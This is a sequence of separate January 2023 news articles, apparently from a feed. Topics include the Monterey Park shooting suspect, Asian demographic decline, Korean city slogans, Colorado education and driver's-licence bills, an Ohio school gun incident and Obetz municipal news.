(CNN)  The 72-year-old man suspected of killing 11 people and wounding nine others in a shooting at a dance studio in Monterey Park, California, Saturday had previously frequented the establishment, sources told CNN.

The suspect, identified as Huu Can Tran, was pronounced dead following a self-inflicted gunshot wound Sunday as police swarmed a white van in Torrance, about 30 miles from Monterey Park, Los Angeles County Sheriff Robert Luna said.

The shooting at Star Ballroom Dance Studio happened around 10:22 p.m. as the city's large Asian American community was celebrating Lunar New Year weekend.

Authorities said 42 shell casings and a large capacity magazine were found at the scene, Luna said at a Monday news conference. Luna added that one victim was shot outside the dance studio in a vehicle, probably before Tran went inside.

About 17 to 20 minutes after the shooting, an armed man showed up at a second dance studio in nearby Alhambra where authorities say people wrestled a gun away from him  a firearm authorities ultimately used to ID the suspect, according to a law enforcement official with knowledge of the case. The semi-automatic weapon was traced to the suspect, which gave authorities his name and description, the official said.

The mass shooting prompted a manhunt across the region, with a description of a white van seen leaving the Alhambra incident broadcast to area law enforcement agencies. On Sunday morning, officers in Torrance spotted a white van that matched the description.

"When officers exited their patrol vehicle to contact the occupant, they heard one gunshot coming from within the van," Luna said. "Officers retreated and requested several tactical teams to respond." Then  as armored vehicles blocked the van  a SWAT team approached and found Tran dead inside, Luna said.

As it remains unclear what motivated the shooting and a search warrant has been issued for Tran's home, the sheriff said it's too early to say whether the shooting could have been a hate crime and investigators are still working to determine whether any of the victims were known to the gunman.

Here's what we know about the suspect.

Suspect had once been a regular patron at the dance hall

Tran had once been a regular patron at Star Ballroom Dance Studio, his ex-wife and a longtime acquaintance both told CNN.

Tran's former wife, who asked not to be named due to the sensitivity of the case, said she met Tran about two decades ago at Star Ballroom, a popular community gathering place where he gave informal lessons. Tran saw her at a dance, introduced himself and offered her free lessons, she said. The two married soon after, she said.

While Tran was never violent to her, she said he could be quick to anger. For example, she said, if she missed a step dancing, he would become upset because he felt it made him look bad. Tran filed for divorce in late 2005, and a judge approved the divorce the following year, Los Angeles court records show.

Tran was an immigrant from China, according to a copy of his marriage license his ex-wife showed to CNN.

It was unclear how frequently Tran visited the dance hall, if at all, in recent years.

Another longtime acquaintance of Tran's also remembered him as a frequent presence at the dance studio. The friend, who also asked not to be named, was close to Tran in the late 2000s and early 2010s, when he said Tran would make the roughly five-minute drive from his home in San Gabriel to Star Ballroom Dance Studio "almost every night."

Tran often complained at the time that the instructors at the dance hall didn't like him and said "evil things about him," the friend remembered, adding Tran was "hostile to a lot of people there."

The friend said he hadn't seen Tran in several years and was "totally shocked" when he heard about the shooting.

"I know lots of people, and if they go to Star studio, they frequent there," he said, adding he was "worried maybe I know some of" the shooting victims.

Investigators are still looking into Tran's history, sheriff says

Luna told reporters Sunday that investigators are still looking into Tran's criminal and mental health history and serving search warrants.

The Los Angeles County Sheriff's Department obtained a search warrant for Tran's home in a senior community in Hemet, California, according to Hemet police public information officer Alan Reyes.

Records show Tran bought a mobile home in the community, which is in the outlying suburb about 85 miles east of Los Angeles in neighboring Riverside County.

Seven years before buying the Hemet home, Tran in 2013 sold a San Gabriel home, which he had owned for more than two decades, property records show.

Business records also show Tran registered a business called Tran's Trucking Inc. in California in 2002. But he dissolved the business about two years later, writing in a corporate filing that the company had never acquired any known assets or incurred any known debts or liabilities.

Tran at times had worked as a truck driver, according to his ex-wife.

Tran had a "limited criminal history" and was arrested in 1990 for unlawful possession of a firearm, Luna said.

The weapons authorities found

Investigators recovered a Norinco 7.62 x 25 handgun from inside Tran's cargo van, Luna said, adding that firearm was registered to the suspect.

The firearm wrestled away from the suspect at a second dance studio in nearby Alhambra was a "9 mm caliber semiautomatic MAC-10 assault weapon," Luna said.

The gun is designed to take 30-round magazines that allow for rapid fire without having to frequently change magazines, the law enforcement official with knowledge of the case told CNN.

In response to a reporter's question, Luna said, "I believe the weapon that was recovered at the Alhambra location is not legal to have here in the state of California."

Following the execution of a search warrant at Tran's residence, officials announced they found a 308 caliber rifle and numerous electronic devices such as cell phones and computers -- "items that lead us to believe the suspect was manufacturing homemade firearm suppressors," he said.

Also found was an unknown amount of 308 caliber and 9 mm caliber ammunition. The sheriff said there were "hundreds of rounds -- we don't know exactly how many there were -- a lot of loose ammunition so eventually we'll get to exactly how many those were."

Investigators are still working to confirm "the origins of where the suspect got" all firearms recovered in this case, including the gun used in the shooting, Luna added.

Tran may have sought medical treatment

The suspect may have sought medical treatment shortly before the traffic stop in Torrance, law enforcement sources told CNN they believe. Police got a tip from an area hospital where a man fitting the description of the suspect came into the emergency room, seeking treatment for injuries consistent with having been in a fight.

The person waited for a period and then left the hospital without receiving treatment, the sources said. The hospital notified authorities when staff saw the similarity to the wanted person. A short time later, police in Torrance stopped the van.

Suspected gunman visited police station this month

Earlier this month, Tran visited a police station in Hemet, where he made various allegations before leaving, according to a statement from the Hemet Police Department.

"Tran visited the Hemet Police Department lobby on January 7 and 9, 2023, alleging past fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago," Hemet police said in a statement. "Tran stated he would return to the station with documentation regarding his allegations but never returned."

Tran had a residence in Hemet, the statement said. Investigators from the Los Angeles County Sheriff's Department have executed a search warrant there.

The local police department said this is a "highly sensitive, ongoing investigation" and deferred to the Los Angeles County Sheriff's Department for further inquiries.

This story was first published on CNN.com, "What we know about the suspect in the Monterey Park massacre."
Editor's note: David A. Andelman, a contributor to CNN, twice winner of the Deadline Club Award, is a chevalier of the French Legion of Honor, author of "A Red Line in the Sand: Diplomacy, Strategy, and the History of Wars That Might Still Happen" and blogs at Andelman Unleashed. He formerly was a correspondent for The New York Times and CBS News in Europe and Asia. The views expressed in this commentary are his own. View more opinion at CNN.

(CNN)  Asia is hurtling toward a tectonic power shift headlined by ever more rapid changes in population growth. The West, especially the United States, better be prepared.

A dramatic demographic shift is underway after China's population shrank in 2022 for the first time in six decades. Meanwhile, India, with its continued population growth, is projected to surpass China as the world's most populous country by UN estimates as soon as April.

The latest statistics show that China is increasingly coming face-to-face with its one-child policy, which officially ended in 2016 after more than three decades. The policy introduced a number of challenges; perhaps the most paramount is the 4-2-1 problem, where one working individual, by virtue of being an only child, ends up having to support four grandparents and two parents  a huge drain on the working population. It also puts a strain on China's government-backed pension system.

This crisis is the fruit of a policy designed by the Communist Party to slow population growth and promulgated in an open letter on September 25, 1980, that no family would be allowed to have more than one child. The policy also led to abortions of female fetuses, abandonment and even infanticide due to the preference for sons, and the ratio between men and women eventually began to skew.

Within a decade, the fertility rate had plummeted below 2.1  a rate sustaining zero population growth.

By 2016, families were officially allowed to have two children, then three children by 2021, and no fines were imposed on families regardless of their size. By then, however, it was too late to reverse the catastrophic demographic trend.

Last year, China's National Bureau of Statistics reported that new births fell for the sixth straight year to 9.56 million, while nationwide deaths reached 10.6 million people. New births also mean fewer consumers, eventually a shrinking workforce, a smaller next generation and fewer working Chinese to support their children and retired family members. It is a spiral that may be impossible to reverse.

At the same time, the Covid-19 pandemic and the government's stringent zero-Covid policies also exacerbated a plunge in the number of marriages. The official China Statistical Yearbook 2022 showed the number of marriages in China dropped to the lowest level on record in 2021, at 7.6 million people.

Hidden in these numbers are some troubling realities for China and for the world economy.

A falling Chinese population means lower domestic consumption, which holds the prospect of seriously affecting companies trying to do business there selling to what will inevitably be a shrinking Chinese domestic market. Consumer brands such as Starbucks, Nike and Under Armour and tech and auto companies such as Apple, Intel, Tesla, General Motors and Ford generate a substantial amount of their global income from Chinese consumers. Tesla makes half of its electric cars in China. Until 2019, Apple had about half of its assembly lines in China, though these numbers began to fall substantially in the ensuing years, hitting 36% last year.

These production figures point to an even more dramatic problem for China as its demographic spiral also means a rapidly shrinking pool of cheap, skilled labor. Western companies are already looking elsewhere, although China's manufacturing might be difficult to replicate at the same scale in the near term.

India, whose population is projected to pass China's, is the logical substitute. While China will continue shrinking, India will continue to grow, likely peaking in 2064 at 1.7 billion, up from 1.42 billion today  nearly 50% larger than the projected population of China at that point. In theory, this would be the go-to nation for cheap and even more highly educated labor, especially for high-tech industries.

But there is a huge problem here. The bulk of well-educated tech workers are in the west and south of India, where the population growth is the least intense.

Places such as Uttar Pradesh in the north  with 200 million people  are where the huge burst in population is taking place.

But manufacturing is lagging in Uttar Pradesh, which has 17% percent of India's population but just 9% of its industrial jobs. Moreover, many of India's most rapidly growing regions are barely accessible for modern commercial transport, and the population is marginally educated. India is on a tear to remedy these inequities, but it will take awhile.

Prime Minister Narendra Modi's goal is to make India a $5 trillion economy by next year, with Uttar Pradesh a $1 trillion economy in 2027. To meet these goals, he's going to need a lot of help, much of it from abroad.

Already, Apple has begun to shift a slice of its iPhone production from China to India. One in 4 iPhones could be made in India by 2025. Walmart is looking to triple its exports of India-made goods to $10 billion by 2027. All of this will place Modi and his country in direct  and potentially toxic competition  with Xi Jinping and China.

Inherent in the advantage of replacing China by India is that the West will be replacing an oligarchical autocracy with a more-or-less Western-style democracy as its principal economic partner.

Of course, that will leave China increasingly with its own back to the wall, defensive and hostile, faced by a democratic India with a Western tilt. In December, the United States added 36 Chinese companies to a blacklist for trade in high-end technologies after tightening rules on the sale of semiconductor technology to China.

The Biden administration is still making some efforts to heal the open wounds with China  with Treasury Secretary Janet Yellen meeting with Chinese Vice Premier Liu He last week. Liu had just made a big pitch at the World Economic Forum in Davos, Switzerland, for more investment in China. But this may be too little, too late.

And there is clearly little interest for the leaders of China and India to mend relations anytime soon. At the Shanghai Cooperation Organization summit in Samarkand, Uzbekistan in September, there was no bilateral meeting, no publicly recorded smile or even handshake between Xi and Modi, leading former Chinese diplomat Shi Jiangtao to write in the South China Morning Post, "The geopolitical split that is taking place between China and India could not be more obvious. ... President Xi Jinping and Prime Minister Narendra Modi have not met or spoken since a military stand-off began in the disputed Himalayan border region in May 2020." (Xi and Modi did, however, chat briefly at the G20 dinner in Bali in November.)

As India gears up to displace China as the world's most populous nation, the United States and the West may be pushed into choosing sides. It is pressure that needs to be resisted as long as possible in the interest of political stability, not to mention economic pragmatism.

This story was first published on CNN.com, "Opinion: Asia is hurtling toward a tectonic power shift."
(CNN)  Japan's prime minister issued a dire warning about the country's population crisis on Monday, saying it was "on the brink of not being able to maintain social functions" due to the falling birth rate.

In a policy address to lawmakers, Fumio Kishida said it was a case of solving the issue "now or never," and that it "simply cannot wait any longer."

"In thinking of the sustainability and inclusiveness of our nation's economy and society, we place child-rearing support as our most important policy," the prime minister said.

Kishida added that he wants the government to double its spending on child-related programs, and that a new government agency would be set up in April to focus on the issue.

Japan has one of the lowest birth rates in the world, with the Ministry of Health predicting it will record fewer than 800,000 births in 2022 for the first time since records began in 1899.

The country also has one of the highest life expectancies in the world; in 2020, nearly one in 1,500 people in Japan were age 100 or older, according to government data.

These trends have driven a growing demographic crisis, with a rapidly aging society, a shrinking workforce and not enough young people to fill the gaps in the stagnating economy.

Experts point to several factors behind the low birth rate. The country's high cost of living, limited space and lack of child care support in cities make it difficult to raise children, meaning fewer couples are having kids. Urban couples are also often far from extended family who could help provide support.

Attitudes toward marriage and starting families have also shifted in recent years, with more couples putting off both during the pandemic.

Some point to the pessimism young people in Japan hold toward the future, many frustrated with work pressure and economic stagnation.

Japan's economy has stalled since its asset bubble burst in the early 1990s. The country's GDP growth slowed from 4.9% in 1990 to 0.3% in 2019, according to the World Bank. Meanwhile, the average real annual household income declined from 6.59 million yen ($50,600) in 1995 to 5.64 million yen ($43,300) in 2020, according to 2021 data from the country's Ministry of Health, Labor and Welfare.

The government has launched various initiatives to address the population decline over the past few decades, including new policies to enhance child care services and improve housing facilities for families with children. Some rural towns have even begun paying couples who live there to have children.

Shifting demographics are a concern across other parts of East Asia, too.

South Korea recently broke its own record for the world's lowest fertility rate, with data from November 2022 showing a South Korean woman will have an average of 0.79 children in her lifetime -- far below the 2.1 needed to maintain a stable population. Japan's fertility rate stands at 1.3, while the United States is at 1.6.

Meanwhile, China's population shrank in 2022 for the first time since the 1960s, adding to its woes as it struggles to recover from the pandemic. The last time its population fell was in 1961, during a famine that killed tens of millions of people across the country.

This story was first published on CNN.com, "It's 'now or never' to reverse Japan's population crisis, prime minister says."
A 3D installation of Seoul's "I.Seoul.U" city brand is seen in Seoul Plaza in this August 2022 file photo. Newsis



By Lee Hae-rin



It was initially "Hi Seoul," introduced in 2002 by conservative Mayor Lee Myung-bak, who later became the president of Korea. That slogan for Seoul Metropolitan City had been in use for the longest time. Then in 2006, Lee's successor, Mayor Oh Se-hoon, modified it to "Hi Seoul: SOUL of Asia."



The capital's slogan went through another change in 2015 when liberal Mayor Park Won-soon, in his second term, introduced the controversial and nonsensical "I.Seoul.U" slogan, which was selected in an online vote open to the public.



Last year, the city government reached the consensus that "I.Seoul.U" is not appealing or competitive enough to attract foreign travelers or global investors and embarked last August on a project to develop a new slogan, which will "strengthen Seoul's competitiveness as a global city," with a panel of public relations and marketing experts.



The city's slogan is set to change this year as the Seoul Metropolitan Government holds yet another vote for its next slogan.



Anyone can vote for the new slogan until Jan. 31 through the city government's website.



The four final candidates put to the vote are: "Seoul for you," "Amazing Seoul," "Seoul, my soul" and "Make it happen, Seoul."



A similar effort to introduce a new slogan is also underway in the nation's southern port city of Busan.



Earlier this month, Busan proclaimed "Busan is Good" as its new slogan to replace "Dynamic Busan," which had been in use for over 20 years. The southeastern city of Daegu announced its new slogan "Powerful Daegu" to replace "Colorful Daegu," which represented the city's historical identity as a textile industry. The administrative capital of Sejong, south of Seoul is now using "Sejong is the future."



The three major cities have one thing in common: a change in mayors. To signal their fresh starts, the ambitious mayors are trying to fix the images of their respective cities with new slogans.



But the reactions are not all positive.



The Korean-language page for voting on the slogan has several critical comments. Only 12,369 people have voted as of 3 p.m. Sunday.





Seen is the poster for Seoul's options on the next city brand with the four candidate slogans, which reads on top, "What is your most preferred Seoul slogan?" Courtesy of Seoul Metropolitan Government



Although the English-language page does not have a comment section, a number of foreign residents and overseas visitors to Korea interviewed by The Korea Times expressed their confusion and dissatisfaction, which was agreed by experts.



Several foreign interviewees pointed out that Seoul's four candidate slogans fail to reflect the city's identity. They are "uniformly awful and cheesy," and fail to "appeal to tourists," according to Michael Aronson, a former New Yorker who was named an honorary citizen of Seoul in 2012.



Stephane Mot, 55, a Frenchman who lived in Seoul since 1991, agreed that they are "either dull or already used elsewhere or embarrassingly clumsy," and believes the candidate slogans should have gone through a crash-test among native English speakers before being put to the vote.



Jericho Li, 35, from Hong Kong, who visited Seoul and Busan earlier this month, said that "Make it happen Seoul" was her least favorite. She said that it made her wonder: "The city is trying to make what happen?"



However, these candidate slogans have been thoroughly screened and selected, according to the government official in charge of the city's brand development. The expert panel including foreign nationals screened and selected the four most appealing among several hundred suggestions made from Korea and abroad, especially because I.Seoul.U received such a backlash.



However, Lee Hee-bok, a professor of design at Sangji University, pointed out that the cities still should have been more thorough in developing new slogans. Some of the slogans can be easily found on the internet having already been used elsewhere  Gimhae and Ulsan have already used "for you," and "Amazing" was Thailand's tourism slogan, while "Make it happen" is used by the United Arab Emirates.



Also, many criticized the fact that Korea's slogans are changed far too frequently  often along with the change in mayors  and take an extensive amount of money and manpower. Kevin Nickolai, an American resident of Daejeon, which has the "strangely humble" slogan "It's Daejeon," commented that Korea's slogans "seem to be recycled too quickly here like the churn of so many K-pop brands."





Former Seoul Mayor Park Won-soon, center with a red bow tie, holds a banner displaying the slogan I.Seoul.U during the city brand proclamation ceremony at Seoul Square, Oct. 28, 2015. Courtesy of Seoul Metropolitan Government
A Colorado bill seeking to allow community colleges to award high school diplomas passed its first hurdle on Monday, receiving unanimous approval from a state Senate committee.

If passed by the full state legislature, Senate Bill 7 would allow community colleges, area technical colleges and local district colleges to issue high school diplomas to students who complete minimum high school graduation requirements. The requirements would be developed by the colleges based on guidelines from the Colorado Board of Education.

We all know that education equals opportunity, said Sen. Barbara Kirkmeyer, R-Brighton, who sponsored the bill. If you dont have an education, you cant read or you're not receiving a high school diploma, that leads to poverty, less wages earned, a harder life and more challenges for our families and for our Colorado residents.

The bill would also add $2 million in annual funding to the states Adult Education Grant Program to help education institutions pay for the high school diploma programs  as well as require grant recipients to offer basic education in digital literacy, in addition to the already required literacy and numeracy education.

The bipartisan bill  also sponsored by Democrat Sen. Rachel Zenzinger of Arvada  received a unanimous 7-0 approval from the Senate Education Committee on Monday afternoon. No one testified in opposition to the bill.

This bill today represents years of progress towards better supporting all adults in Colorado to be able to have the educational attainment they need in order to be full citizens, Zenzinger said.

In 2019, 53.2% of Colorado's working-aged households without a high school credential did not earn enough income to meet their most basic needs  a percentage that increases to 73.2% for households led by women of color, according to data from the Colorado Center on Law and Policy presented by Zenzinger. Around 300,000 Coloradans lack a high school credential, according to the Colorado Adult Education Coalition.

Nearly a dozen organizations registered and testified in support of the bill, including various adult education institutions throughout the state.

In contrast to GED programming, adult high school diploma programs offer a competency-based pathway thats more accessible, more appropriate, more equitable and more aligned to a high school diploma for our rural mountain communities  especially our historically excluded students, said Dwenna Holden, program director at Colorado Mountain College.

Holden said Colorado Mountain College awarded 225 students with high school diplomas during its two-year-long Workforce Diploma Pilot Program, created by House Bill 19-1236 passed in 2019. That pilot program expired on July 1, and a bill seeking to extend the program failed last year.

Landon Pirius with the Colorado Community College System said allowing community colleges to award high school diplomas would also save students money.

Right now, learners who come to us without a high school diploma or a GED can take classes with us, but they cannot qualify for federal help or most financial aid, Pirius said. We could support adult learners in achieving their high school diploma while they work towards an industry-aligned credential or degree program.

The bill's next stop is the Senate Appropriations Committee for consideration in the coming weeks.
A Colorado Senate committee advanced a bill Monday to require teenagers to complete up to 36 hours of drivers education to be eligible for a drivers license.

If passed by the full state legislature, Senate Bill 11 would mandate that Coloradans under the age of 18 take a 30-hour drivers education course and receive at least six hours of behind-the-wheel driving training from an instructor before being issued a drivers license. The bill would also require those over 18 but under 21 years old to complete a four-hour driver awareness program to get a drivers license.

Critics noted the bill would raise the costs for first-time drivers, but its sponsor, Sen. Faith Winter, D-Westminster, said it is intended to increase road safety by better preparing young drivers.

Our roadways are becoming more and more dangerous every single year, Winter said during Mondays committee meeting. These fatalities often can be linked to unsafe driving, distracted driving, impaired driving. ... Working to make sure that were preparing our youth for the tremendous responsibility that is to drive is incredibly important and I think this is a step forward to do that.

The bills advancement comes on the same day that the Colorado Department of Transportation announced 2022 had the most roadway deaths in the state since 1981.

In 2022, 745 people died in crashes on Colorado roads  up from 691 in 2021, 622 in 2020 and an average of 638 annually since 2017, according to a report from the Department of Transportation. Fatalities among drivers aged 15 to 20 went up from 24 in 2019 to 35 in 2022, the report found. Colorados traffic fatalities have been on the rise for more than a decade after hitting a record low of 447 annual deaths in 2011.

The Senate Transportation and Energy Committee voted, 4-2, in support of the bill on Monday, passing it forward to the Senate Finance Committee for further consideration. Committee members were split along party lines, with Democrats in support of the bill and Republicans in opposition.

Im very supportive of trying to better educate drivers, but how have you thought about the financial impact this has on families? said Sen. Cleave Simpson, R-Alamosa, who voted against the bill. And, from my perspective, in parts of rural Colorado, online just isnt an option at all. In rural communities that I represent, theres still an abundance of them that dont have access to high-speed internet.

The bill would add to the recently rising costs of getting a drivers license in Colorado. In April 2020, Colorados Department of Motor Vehicles stopped providing free driver's tests, forcing prospective drivers to take the license test at third-party driving schools, which costs up to $115, depending on the company.

The bill would create a refundable income tax credit for purchasing drivers education and training, offering up to $1,000 per student. However, drivers would still need to have hundreds of dollars to pay for the courses upfront.

DriveSafe, the largest driving school in the state, currently charges $109 for its online 30-hour drivers education course and $549 for its six-hour behind-the-wheel training  plus an additional $100 to take the drivers license test with the company under a bundle package, according to DriveSafes website.

Prices could also increase if drivers education courses become mandated, as they did when the DMV stopped providing drivers tests in 2020.

Winter said lawmakers are working hard to make it more affordable by offering scholarships and identifying online drivers education courses that start as low as $40  not including the mandated six hours of behind-the-wheel training.

Drivers education does cost a little money upfront but if a $40 course saves you from a $4,700 repair bill, I think we would all agree thats a pretty good bargain. More so if it saves your life, said Skyler McKinley, spokesman for AAA Colorado who testified in support of the bill.

McKinley cited a study out of Washington, which, he said, found that 18 to 20 year olds who have not passed a safety education course were nearly twice as likely to be involved in an injury or fatal crash.

Data on the effectiveness of drivers education appears to be widely inconsistent.

A 2014 study by the AAA Foundation found that taking drivers education reduces crashes by only 4.3%. But a 2021 review of drivers education studies from the Journal of Injury and Violence Research found no evidence that drivers education is effective in reducing crashes or injuries  though it did find it to improve self-perceived driving abilities, behind-the-wheel performance and, to a small extent, decrease traffic offenses.

Supporters of the bill were unable when questioned to identify how many of Colorados record fatal crashes in 2022 involved young drivers  the only drivers who would be affected by the bill.

The bill would also allow minors who live in rural areas to receive 12 hours of behind-the-wheel training from a parent or guardian instead of six hours from a certified training instructor. This provision earned the bill a no vote from Sen. Byron Pelton, R-Serling, who said doubling the hours for rural drivers is unfair.

Theres challenges to us providing all services that we deem important, Winter said in defense of the bill. Is it perfect? No. ... I still think its really important and worth those struggles.

Currently, Coloradans under the age of 18 are eligible to test for a drivers license after holding a learners permit for 12 months and completing 50 hours of supervised driving, including 10 hours of night driving. State law only requires those between 15 and 16 years old to complete drivers education courses in order to get a learners permit.
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Suicide Prevention Resources Specific to Veterans:

If you or someone you know is having thoughts of suicide, contact the Veterans Crisis Line to receive free, confidential support and crisis intervention available 24 hours a day, seven days a week, 365 days a year. Call 1-800-273-8255 and Press 1, chat online at VeteransCrisisLine.net/Chat or text 838255.

The Dont Wait, Reach Out campaign encourages Veterans to reach out for help before their challenges become overwhelming or reach a crisis point. If you or a Veteran you know needs support, find resources at VA.gov/Reach.

Other resources:

National Suicide Prevention Lifeline: 800-273-8255

Mid-Missouri Crisis Line: 800-395-2132

Missouri Suicide/Crisis Hotline: 314-469-6644

Access Crisis Intervention Hotline: 800-395-2132

 Offers 24-hour live response

 Provides face-to-face on-site crisis stabilization

 Next-day appointments

 Inpatient Crisis Services

 23-hour observation beds
The Missourians Opinion section is a public forum for the discussion of ideas. The views presented in this piece are those of the author and do not necessarily reflect the views of the Missourian or the University of Missouri. If you would like to contribute to the Opinion page with a response or an original topic of your own, visit our submission form
(Posted Jan. 24, 2023)

By Kristy Zurbrick, Madison Editor

On Jan. 20, an anonymous tip led to the discovery of a loaded handgun in a students locker at London High School. School administrators found the weapon shortly after the tip came in at 12:40 p.m.

The weapon and the student, a 16-year-old male, were quickly secured, as were other individuals who might have had knowledge of the weapons presence on campus.

The London Police Department responded to the incident. School administrators, a police detective, and the departments school resource officer, whose first day on duty at the London campus was Jan. 9, conducted an investigation.

In a joint press release issued later that day, the school district and the police department stated: It was reported there was no intent known to use the weapon at the school. It was reportedly carried for protection outside of the school property.

The school district and police determined the situation was an isolated incident with no other known threats. As such, they did not lock down the building.

The student who allegedly brought the weapon to school was detained and taken to the Central Ohio Youth Center pending charges of conveyance of a deadly weapon in a school safety zone. Dr. Lou Kramer, London City Schools superintendent, said the student faces suspension and possible expulsion.

This is the first incident like this in my eight years as Londons superintendent, Kramer said. Its a tough situation. Nobody wants to go through this. Were blessed this situation resolved in the way it did.

Kramer said he is pleased with the districts response to the incident. Earlier this month, more than a dozen teachers and administrators completed a state-mandated safety training to learn how to identify and deal with potential threats to the school community.

A week and a half later, we employed that exact training we received into this situation, Kramer said. We had staffers act decisively when given information and work quickly to make sure the firearm was secured and anyone associated with the incident was secured, and work diligently to have an idea of any other secondary safety issues.

On Jan. 23, district administrators met with high school staff members to talk about the facts of the situation, review applicable safety protocols, and reflect on how those protocols were carried out in this instance. School leaders also planned to meet with students in small groups through the week. Kramer noted that student attendance was normal on Jan. 23.

Both the school district and the police department said the tipster was critical in the safe resolution of this incident. They said it is important to share critical information with authorities. See something, say something is vital to community safety, they stated in the press release.

We really appreciate the fact that somebody had the courage to step up. Thats what really helps keep us all safe, said Police Chief Glenn Nicol.

Tips can be reported directly to school staff, the school resource officer, or the police department. Kramer said he has received anonymous tips on his voicemail. Another resource is the Safer Ohio School Tip Line (844-723-3764), an anonymous reporting system that accepts texts or calls 24 hours a day. More information can be found at School Safety Tip Line.

Tips can be submitted to the London Police Department by calling (740) 852-1414 or using the departments smartphone app (search for London Police in the app store). Tipsters can leave as much or as little information about themselves as they choose. For details, visit www.londonohio.gov/police-division.

Nicol added, Our SRO (student resource officer) is working on developing relationships with students at the school so they feel comfortable telling him things. We already have a good relationship with the school district, and were hoping to add to it with this.

Kramer commented, The largest safety strategy that we have here within our district is fostering positive relationships with staff and students so they are empowered and trusting enough to confidently report information and know it will be followed up on.

The investigation into the Jan. 20 incident is ongoing by the London Police with assistance from the Madison County Prosecutors Office and London City Schools.
By Katelyn Sattler

Staff Writer

The city of Obetz has implemented a new schedule where employees work four nine-hour days per week, for a total of 36 hours, with the remaining four hours being physical and mental wellness time.

This plan was rolled out with Obetz City Councils approval of the new employee handbook.

Our employees will be required for four hours a week to dedicate time to their physical and mental well-being in some form or fashion, said Obetz City Administrator Rod Davisson. That can be yoga, meditation, exercise, whatever that is. They will physically do their job for 36 hours. Theyll spend four additional hours on PM Time which counts as work time.

Employees will still be paid for 40 hours of work a week. With one extra day off a week with this schedule, employees will get 52 more days off a year.

Its more costly to us, said Davisson. Its not free. But I think we end up with happier, healthier, motivated, more efficient employees on more efficient schedule with more time off.

Obetz also increased their paid holidays from 12 days to 17 days and increased sick time by 24 hours.

Vacation time was increased. Employees will receive 40 hours of vacation when hired, 80 hours during years one and two, 120 hours after three years of service, 160 hours during years four to eight, 180 hours during years nine to 13, 200 hours during years 14-19, and it maxes out at 240 for 20 or more years of service.

The annual bonus was renamed the year-end longevity bonus and it kicks in during year 0-1 of employment with the city at $750 and increases with each year of employment. At year five, the longevity bonus is $877, at year 10, its $1,067, at year 15, its $1,298, at year 20, its $1,580, at year 25, its $1,922, and maxes out at year 30 at $2,338.

Part-time employees will receive a year-end longevity bonus, which will depend on the number of hours worked in the calendar year.

The workforce has changed, the workforce is changing, and this workforce wants a better work-life balance, said Davisson. Theyre not solely driven by money, as long as they can afford to live. If they can live, they want more time off. So we said, All right, heres more time off instead of more money.

Concerning annual raises, Davisson said, Theres a raise in there, but its not the raise you would have otherwise. Its a trade off. You got more time off for a smaller raise. Its still decent compensation. Its substantial, this year as weve switched to kind of city pay rates. But after this itll be more of the 3 percent per year you typically see.

Addressing the question of whether this new schedule will cause staffing issues, Davisson said, No. We think it will increase productivity. We have split the work week so that our public facing operations wont have any change.

Concerning a potential decrease in worker productivity, Davisson said, It cant happen. What weve said to them is, If we see any drop off in productivity or efficiency, this all goes away. And you can very easily be back to a regular 40 hour workweek. Were betting that theyre going to want this schedule so bad that theyre gonna increase their effort, productivity and deal with anything to keep it. And we think its going to increase productivity for us and increase the services for the city.

Davisson said it will also help the city of Obetz to attract people, retain people, create happier people.

We think it will ultimately tie into the physical fitness of our people, said Davisson. There are strings that come with that four hours. We will begin to roll in HSA money based on performance standards, ultimately. If you want your full HSA money, you may have to quit smoking or you may have to pass a test or you have to show that youve done X number of workouts. That wont roll in the first year, but itll roll in as we get it going. Ultimately we hope then to have a healthier, happier staff thats more motivated to do more work in less time. And thats the bet weve taken, which is, there are not many people out there trying this, and its novel, for sure.

By Katelyn Sattler

Staff Writer

Obetz City Council approved some changes to the citys 2023 appropriations.

Changes include:

Mayor Angela Kirk said the amount set aside for the siren fees (for the sirens that go off every Wednesday) has been increased from is $9,000 to $10,000. The city pays the fee in part to Franklin County to help offset costs for operating and maintaining the sirens.

The appropriation for the mayors court computer was $750, but it has been increased by $4,000 to $4,750. Law Director Gene Hollins said, The city has a subscription payment for mayors court software that we use. Weve always had this computer fund, but apparently, in the past, accumulating here and there, and this is the perfect type of expenditure for it. So this year we figured out that we were taking out of the general fund. We shifted over to the computer fund. We will reduce the general fund expenditure by $4,750 and pay for it through the mayors court computer fund.

Authorizing payment on a contract with Waste Management of Ohio. The current amount is $505,000 which will be increased to $517,000. In this ordinance, council authorized a payment not to exceed $37,197 to Waste Management of Ohio.

Other news

Council approved the annexation of 35+_ acres from Hamilton Township to the city of Obetz. This is the southern most edge of the Wilburn farm, which is the property along the Big Walnut Creek, which the city has designated as park land.

Kirk said the structure on the Warner farm, across from the high school, has been demolished  theres nothing left out there now. The Junkyard Lounge has also been demolished.

Police Chief Mike Confer said a new officer, Damon Caruso, will start on Feb. 5. Hes currently in Ashville as an officer with about 10 years of service there.

Confer said that in the last couple of weeks, the police department has taken 878 calls for service. Officers patrolled 3,143 miles in that time. They issued 27 moving citations, four of which were speeding, three parking citations, three misdemeanor arrests. Theyve taken 27 offense reports and nine crash reports.

City Engineer / Deputy City Administrator Mike Corbitt said the front two buildings on the Perkins property will be demolished soon, which will help with the Sheetz project. Daveys Tree Service has started to cut down trees.

Corbitt said the city is looking into water line projects that are coming up. The lead time for the water line is close to 30 weeks, as opposed to the 16 week lead time for the water line the city ordered last year for the Buckstone development.
DPL floor spokesman Rep. Oh Yeong-hwan / Korea Times photo by Oh Dae-geun



The main opposition Democratic Party of Korea (DPK) said Tuesday that President Yoon Suk Yeol was the "biggest threat" to South Korea's diplomacy and security, escalating their criticism of his remark on Iran.



In response, the ruling People Power Party (PPP) accused the DPK of acting like a "traitor," claiming the opposition was seeking to create a diplomatic problem out of Yoon's pep talk to South Korean troops deployed overseas.



During a visit to a South Korean military contingent stationed in the United Arab Emirates last week, Yoon said that South Korea and the UAE were in similar situations as the two countries face North Korea and Iran as their respective enemies.



Iran has protested the remark.



South Korean officials have stressed that the remark was made as part of efforts to encourage the troops, and Seoul's commitment to relations with Iran remains firm.



"The biggest threat to the Republic of Korea's diplomacy and security is none other than President Yoon," DPK floor spokesman Rep. Oh Yeong-hwan said in a statement. "The basics of diplomacy are to decrease enemies while increasing friends, but President Yoon is engaged in a diplomacy that increases enemies."



The ruling PPP sought to defend Yoon.



"Stop the traitor-like behavior of attempting to create a diplomatic problem out of the president's remarks encouraging overseas-deployed troops," Oh's counterpart Rep. Kim Mi-ae responded in a statement.



